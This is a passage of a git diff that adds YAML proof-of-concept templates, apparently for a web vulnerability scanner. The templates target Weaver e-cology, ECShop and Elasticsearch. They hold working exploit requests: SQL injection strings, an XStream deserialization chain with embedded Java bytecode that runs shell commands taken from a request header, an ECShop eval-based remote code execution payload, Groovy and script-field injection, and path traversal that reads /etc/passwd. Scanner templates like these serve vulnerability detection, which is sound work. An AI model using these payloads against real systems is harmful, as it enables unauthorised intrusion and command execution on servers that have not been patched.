node=wftype_1132232323231&scope=23332323&formids=1111111111111%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a)))union+select+1024,({{r1}}*{{r2}})+order+by+(((1 + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) +detail: + author: JingLing(https://hackfun.org/) + links: + - https://anonfiles.com/A4cede8an1/_OA_WorkflowCenterTreeData_oracle_html + - https://mp.weixin.qq.com/s/9mpvppx3F-nTQYoPdY2r3w \ No newline at end of file diff --git a/webscan/pocs/ecology-workflowservicexml.yml b/webscan/pocs/ecology-workflowservicexml.yml new file mode 100644 index 0000000..c244dc0 --- /dev/null +++ b/webscan/pocs/ecology-workflowservicexml.yml @@ -0,0 +1,32 @@ +name: poc-yaml-ecology-workflowservicexml +set: + rand1: randomInt(1000, 9999) + rand2: randomInt(1000, 9999) +groups: + windows: + - method: POST + path: /services%20/WorkflowServiceXml + follow_redirects: false + headers: + Content-Type: text/xml + cmd: type c:\\windows\\win.ini + body: | + <java.util.PriorityQueue serialization="custom"> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> <comparator class="org.apache.commons.beanutils.BeanComparator"> <property>outputProperties</property> <comparator class="org.apache.commons.collections.comparators.ComparableComparator"/> </comparator> </default> <int>3</int> <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl serialization="custom"> <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> <default> <__name>Pwnr</__name> <__bytecodes> <byte-array>yv66vgAAADQAjwoACgA/CQAiAEAKAEEAQgoAQQBDCABECgBFAEYIADUHAEcKAAgASAcASQoASgBLBwBMCAAuCgAMAE0KAAwATgcATwsAEABQBwBRCgBSAFMHAFQKABQAPwgAVQoAFABWCgAUAFcKAFIAWAoAWQBaCgASAFsIAFwKABIAXQoAEgBeCgBfAGAHAGEKACAAYgcAYwcAZAEABGpha3kBABJMamF2YS9sYW5nL1N0cmluZzsBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAIkx5YW9zZXJpYWwvcGF5bG9hZHMvdXRpbC9UZXN0T2JqMTsBAAg8Y2xpbml0PgEAA2NtZAEAA3JlcAEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAANvdXQBABVMamF2YS9pby9QcmludFdyaXRlcjsBAAJzaQEAEUxqYXZhL2xhbmcvQ2xhc3M7AQARZ2V0Q29udGV4dFJlcXVlc3QBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAA3JlcQEAL0xjb20vY2F1Y2hvL3NlcnZlci9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdEltcGw7AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAGEBAApTb3VyY2VGaWxlAQANVGVzdE9iajEuamF2YQwAJgAnDAAkACUHAGUMAGYAZwwAaABpAQAsY29tLmNhdWNoby5zZXJ2ZXIuZGlzcGF0Y2guU2VydmxldEludm9jYXRpb24HAGoMAGsAbAEAD2phdmEvbGFuZy9DbGFzcwwAbQBuAQAQamF2YS9sYW5nL09iamVjdAcAbwwAcABxAQAtY29tL2NhdWNoby9zZXJ2ZXIvaHR0cC9IdHRwU2VydmxldFJlcXVlc3RJbXBsDAByAHMMAHQAdQEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlDAB2AHcBABFqYXZhL3V0aWwvU2Nhbm5lcgcAeAwAeQB6AQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIBAAdjbWQgL2MgDAB7AHwMAH0AfgwAfwCABwCBDACCAIMMACYAhAEAAlxBDACFAIYMAIcAfgcAiAwAiQCKAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAiwAnAQAgeWFvc2VyaWFsL3BheWxvYWRzL3V0aWwvVGVzdE9iajEBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAEGphdmEvbGFuZy9UaHJlYWQBAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQAJbG9hZENsYXNzAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAlnZXRIZWFkZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEmdldFNlcnZsZXRSZXNwb25zZQEAISgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAARuZXh0AQATamF2YS9pby9QcmludFdyaXRlcgEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA9wcmludFN0YWNrVHJhY2UBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwCMCgCNAD8AIQAiAI0AAQAjAAEACgAkACUAAAACAAEAJgAnAAEAKAAAAC8AAQABAAAABSq3AI6xAAAAAgApAAAABgABAAAABwAqAAAADAABAAAABQArACwAAAAIAC0AJwABACgAAAE5AAYABgAAAIMBswACuAADtgAEEgW2AAZLKhIHA70ACLYACUwrAQO9AAq2AAvAAAxNLBINtgAOxgBMLBINtgAOTiy2AA/AABA6BBkEuQARAQA6BRkFuwASWbgAE7sAFFm3ABUSFrYAFy22ABe2ABi2ABm2ABq3ABsSHLYAHbYAHrYAH6cACEsqtgAhsQABAAQAegB9ACAAAwApAAAAPgAPAAAACQAEAA0AEAAOABsADwAoABAAMQARADgAEgBBABMASgAUAHEAFQB3ABQAegAZAH0AFwB+ABgAggAaACoAAABIAAcAOABCAC4AJQADAEEAOQAvADAABABKADAAMQAyAAUAEABqADMANAAAABsAXwA1ADYAAQAoAFIANwA4AAIAfgAEADkAOgAAADsAAAAKAAP7AHpCBwA8BAABAD0AAAACAD4=</byte-array> <byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array> </__bytecodes> <__transletIndex>-1</__transletIndex> <__indentNumber>0</__indentNumber> </default> <boolean>false</boolean> </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl reference="../com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"/> </java.util.PriorityQueue> </java.util.PriorityQueue> 2 + expression: | + response.status == 500 && response.headers["Set-Cookie"].contains("ecology") && response.body.bcontains(b"for 16-bit app support") + linux: + - method: POST + path: /services%20/WorkflowServiceXml + headers: + Content-Type: text/xml + cmd: bin/bash -c 'expr {{rand1}} + {{rand2}}' + follow_redirects: false + body: | + <java.util.PriorityQueue serialization="custom"> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> <comparator class="org.apache.commons.beanutils.BeanComparator"> <property>outputProperties</property> <comparator class="org.apache.commons.collections.comparators.ComparableComparator"/> </comparator> </default> <int>3</int> <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl serialization="custom"> <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> <default> <__name>Pwnr</__name> <__bytecodes> <byte-array>yv66vgAAADQAjwoACgA/CQAiAEAKAEEAQgoAQQBDCABECgBFAEYIADUHAEcKAAgASAcASQoASgBLBwBMCAAuCgAMAE0KAAwATgcATwsAEABQBwBRCgBSAFMHAFQKABQAPwgAVQoAFABWCgAUAFcKAFIAWAoAWQBaCgASAFsIAFwKABIAXQoAEgBeCgBfAGAHAGEKACAAYgcAYwcAZAEABGpha3kBABJMamF2YS9sYW5nL1N0cmluZzsBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAIkx5YW9zZXJpYWwvcGF5bG9hZHMvdXRpbC9UZXN0T2JqMTsBAAg8Y2xpbml0PgEAA2NtZAEAA3JlcAEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAANvdXQBABVMamF2YS9pby9QcmludFdyaXRlcjsBAAJzaQEAEUxqYXZhL2xhbmcvQ2xhc3M7AQARZ2V0Q29udGV4dFJlcXVlc3QBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAA3JlcQEAL0xjb20vY2F1Y2hvL3NlcnZlci9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdEltcGw7AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAGEBAApTb3VyY2VGaWxlAQANVGVzdE9iajEuamF2YQwAJgAnDAAkACUHAGUMAGYAZwwAaABpAQAsY29tLmNhdWNoby5zZXJ2ZXIuZGlzcGF0Y2guU2VydmxldEludm9jYXRpb24HAGoMAGsAbAEAD2phdmEvbGFuZy9DbGFzcwwAbQBuAQAQamF2YS9sYW5nL09iamVjdAcAbwwAcABxAQAtY29tL2NhdWNoby9zZXJ2ZXIvaHR0cC9IdHRwU2VydmxldFJlcXVlc3RJbXBsDAByAHMMAHQAdQEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlDAB2AHcBABFqYXZhL3V0aWwvU2Nhbm5lcgcAeAwAeQB6AQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIBAAdjbWQgL2MgDAB7AHwMAH0AfgwAfwCABwCBDACCAIMMACYAhAEAAlxBDACFAIYMAIcAfgcAiAwAiQCKAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAiwAnAQAgeWFvc2VyaWFsL3BheWxvYWRzL3V0aWwvVGVzdE9iajEBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAEGphdmEvbGFuZy9UaHJlYWQBAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQAJbG9hZENsYXNzAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAlnZXRIZWFkZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEmdldFNlcnZsZXRSZXNwb25zZQEAISgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAARuZXh0AQATamF2YS9pby9QcmludFdyaXRlcgEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA9wcmludFN0YWNrVHJhY2UBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwCMCgCNAD8AIQAiAI0AAQAjAAEACgAkACUAAAACAAEAJgAnAAEAKAAAAC8AAQABAAAABSq3AI6xAAAAAgApAAAABgABAAAABwAqAAAADAABAAAABQArACwAAAAIAC0AJwABACgAAAE5AAYABgAAAIMBswACuAADtgAEEgW2AAZLKhIHA70ACLYACUwrAQO9AAq2AAvAAAxNLBINtgAOxgBMLBINtgAOTiy2AA/AABA6BBkEuQARAQA6BRkFuwASWbgAE7sAFFm3ABUSFrYAFy22ABe2ABi2ABm2ABq3ABsSHLYAHbYAHrYAH6cACEsqtgAhsQABAAQAegB9ACAAAwApAAAAPgAPAAAACQAEAA0AEAAOABsADwAoABAAMQARADgAEgBBABMASgAUAHEAFQB3ABQAegAZAH0AFwB+ABgAggAaACoAAABIAAcAOABCAC4AJQADAEEAOQAvADAABABKADAAMQAyAAUAEABqADMANAAAABsAXwA1ADYAAQAoAFIANwA4AAIAfgAEADkAOgAAADsAAAAKAAP7AHpCBwA8BAABAD0AAAACAD4=</byte-array> <byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array> </__bytecodes> <__transletIndex>-1</__transletIndex> <__indentNumber>0</__indentNumber> </default> <boolean>false</boolean> </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl reference="../com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"/> </java.util.PriorityQueue> </java.util.PriorityQueue> 2 + expression: | + response.body.bcontains(bytes(string(rand1 + rand2))) +detail: + author: tangshoupu + info: ecology-workflowservicexml-rce + links: + - https://www.anquanke.com/post/id/239865 \ No newline at end of file diff --git a/webscan/pocs/ecshop-cnvd-2020-58823-sqli.yml b/webscan/pocs/ecshop-cnvd-2020-58823-sqli.yml new file mode 100644 index 0000000..0b7721c --- /dev/null +++ b/webscan/pocs/ecshop-cnvd-2020-58823-sqli.yml @@ -0,0 +1,13 @@ +name: poc-yaml-ecshop-cnvd-2020-58823-sqli +set: + r1: randomInt(40000, 44800) +rules: + - method: POST + path: /delete_cart_goods.php + body: id=0||(updatexml(1,concat(0x7e,(select%20md5({{r1}})),0x7e),1)) + expression: | + response.status == 200 && response.body.bcontains(bytes(substr(md5(string(r1)), 0, 31))) +detail: + author: 凉风(http://webkiller.cn/) + links: + - https://mp.weixin.qq.com/s/1t0uglZNoZERMQpXVVjIPw \ No newline at end of file diff --git a/webscan/pocs/ecshop-collection-list-sqli.yml b/webscan/pocs/ecshop-collection-list-sqli.yml new file mode 100644 index 0000000..a137e7d --- /dev/null +++ b/webscan/pocs/ecshop-collection-list-sqli.yml @@ -0,0 +1,14 @@ +name: poc-yaml-ecshop-collection-list-sqli +set: + r1: randomInt(10000, 99999) +rules: + - method: GET + path: /user.php?act=collection_list + headers: + X-Forwarded-Host: 45ea207d7a2b68c49582d2d22adf953apay_log|s:55:"1' and updatexml(1,insert(md5({{r1}}),1,1,0x7e),1) and '";|45ea207d7a2b68c49582d2d22adf953a + follow_redirects: false + expression: response.body.bcontains(bytes(substr(md5(string(r1)), 1, 32))) +detail: + author: 曦shen + links: + - https://github.com/vulhub/vulhub/tree/master/ecshop/collection_list-sqli diff --git a/webscan/pocs/ecshop-login-sqli.yml b/webscan/pocs/ecshop-login-sqli.yml new file mode 100644 index 0000000..0e853dd --- /dev/null +++ b/webscan/pocs/ecshop-login-sqli.yml @@ -0,0 +1,15 @@ +name: poc-yaml-ecshop-login-sqli +set: + r1: randomInt(10000, 99999) +rules: + - method: GET + path: /user.php?act=login + headers: + Content-Type: application/x-www-form-urlencoded + Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:71:"0,1 procedure analyse(updatexml(1,insert(md5({{r1}}),1,1,0x7e),1),1)-- -";s:2:"id";i:1;} + follow_redirects: false + expression: response.body.bcontains(bytes(substr(md5(string(r1)), 1, 32))) +detail: + author: chalan630 + links: + - https://phishingkittracker.blogspot.com/2019/08/userphp-ecshop-sql-injection-2017.html diff --git a/webscan/pocs/ecshop-rce.yml b/webscan/pocs/ecshop-rce.yml new file mode 100644 index 0000000..acaa0a0 --- /dev/null +++ b/webscan/pocs/ecshop-rce.yml @@ -0,0 +1,27 @@ +name: poc-yaml-ecshop-rce +set: + r1: randomInt(40000, 44800) + r2: randomInt(40000, 44800) +groups: + 2.x: + - method: POST + path: /user.php + headers: + Referer: >- + 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:193:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b6576616c09286261736536345f6465636f64650928275a585a686243676b5831425055315262634841784d6a4e644b54733d2729293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca + Content-Type: application/x-www-form-urlencoded + body: action=login&pp123=printf({{r1}}*{{r2}}); + expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) + 3.x: + - method: POST + path: /user.php + headers: + Referer: >- + 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:193:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b6576616c09286261736536345f6465636f64650928275a585a686243676b5831425055315262634841784d6a4e644b54733d2729293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953aads + Content-Type: application/x-www-form-urlencoded + body: action=login&pp123=printf({{r1}}*{{r2}}); + expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) +detail: + author: 凉风(http://webkiller.cn/) + links: + - https://github.com/vulhub/vulhub/blob/master/ecshop/xianzhi-2017-02-82239600/README.zh-cn.md \ No newline at end of file diff --git a/webscan/pocs/eea-info-leak-cnvd-2021-10543.yml b/webscan/pocs/eea-info-leak-cnvd-2021-10543.yml new file mode 100644 index 0000000..18fd471 --- /dev/null +++ b/webscan/pocs/eea-info-leak-cnvd-2021-10543.yml @@ -0,0 +1,11 @@ +name: poc-yaml-eea-info-leak-cnvd-2021-10543 +rules: + - method: GET + path: "/authenticationserverservlet" + expression: | + response.status == 200 && "(.*?)".bmatches(response.body) && "(.*?)".bmatches(response.body) +detail: + author: Search?=Null + description: "MessageSolution Enterprise Email Archiving (EEA) Info Leak." + links: + - https://exp1orer.github.io diff --git a/webscan/pocs/elasticsearch-cve-2014-3120.yml b/webscan/pocs/elasticsearch-cve-2014-3120.yml new file mode 100644 index 0000000..178671b --- /dev/null +++ b/webscan/pocs/elasticsearch-cve-2014-3120.yml @@ -0,0 +1,45 @@ +name: poc-yaml-elasticsearch-cve-2014-3120 +set: + r: randomInt(800000000, 1000000000) + r1: randomInt(800000000, 1000000000) +rules: + - method: POST + path: /test/test1/123 + headers: + Content-Type: application/json + body: | + { + "name": "test" + } + expression: | + response.status == 201 || response.status == 200 + - method: POST + path: /_search + headers: + Content-Type: application/json + body: |- + { + "size": 1, + "query": { + "filtered": { + "query": { + "match_all": { + } + } + } + }, + "script_fields": { + "command": { + "script": "{{r}}+{{r1}}" + } + } + } + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r + r1))) + +detail: + author: suancaiyu、violin + elasticsearch: v1.1.1 + links: + - https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2014-3120 diff --git a/webscan/pocs/elasticsearch-cve-2015-1427.yml b/webscan/pocs/elasticsearch-cve-2015-1427.yml new file mode 100644 index 0000000..9415f93 --- /dev/null +++ b/webscan/pocs/elasticsearch-cve-2015-1427.yml @@ -0,0 +1,35 @@ +name: poc-yaml-elasticsearch-cve-2015-1427 +set: + r1: randomInt(40000, 44800) + r2: randomInt(40000, 44800) +rules: + - method: POST + path: /test/test + headers: + Content-Type: application/json + body: | + { + "name": "test" + } + expression: | + response.status == 201 + - method: POST + path: /_search + headers: + Content-Type: application/json + body: | + { + "size":1, + "script_fields":{ + "lupin":{ + "lang":"groovy", + "script":"{{r1}}*{{r2}}" + } + } + } + expression: | + response.status == 200 && response.content_type.icontains("json") && response.body.bcontains(bytes(string(r1 * r2))) +detail: + author: pululin(https://github.com/pululin) + links: + - https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2015-1427 \ No newline at end of file diff --git a/webscan/pocs/elasticsearch-cve-2015-3337-lfi.yml b/webscan/pocs/elasticsearch-cve-2015-3337-lfi.yml new file mode 100644 index 0000000..bfb51d3 --- /dev/null +++ b/webscan/pocs/elasticsearch-cve-2015-3337-lfi.yml @@ -0,0 +1,11 @@ +name: poc-yaml-elasticsearch-cve-2015-3337-lfi +rules: + - method: GET + path: /_plugin/head/../../../../../../../../../../../../../../../../etc/passwd + expression: | + response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) + +detail: + author: X.Yang + links: + - https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2015-3337 diff --git a/webscan/pocs/elasticsearch-cve-2015-5531.yml b/webscan/pocs/elasticsearch-cve-2015-5531.yml new file mode 100644 index 0000000..14fd772 --- /dev/null +++ b/webscan/pocs/elasticsearch-cve-2015-5531.yml @@ -0,0 +1,42 @@ +name: poc-yaml-elasticsearch-cve-2015-5531 +set: + r1: randomLowercase(4) +rules: + - method: PUT + path: /_snapshot/{{r1}} + headers: + Content-Type: application/x-www-form-urlencoded + body: |- + { + "type": "fs", + "settings":{ + "location": 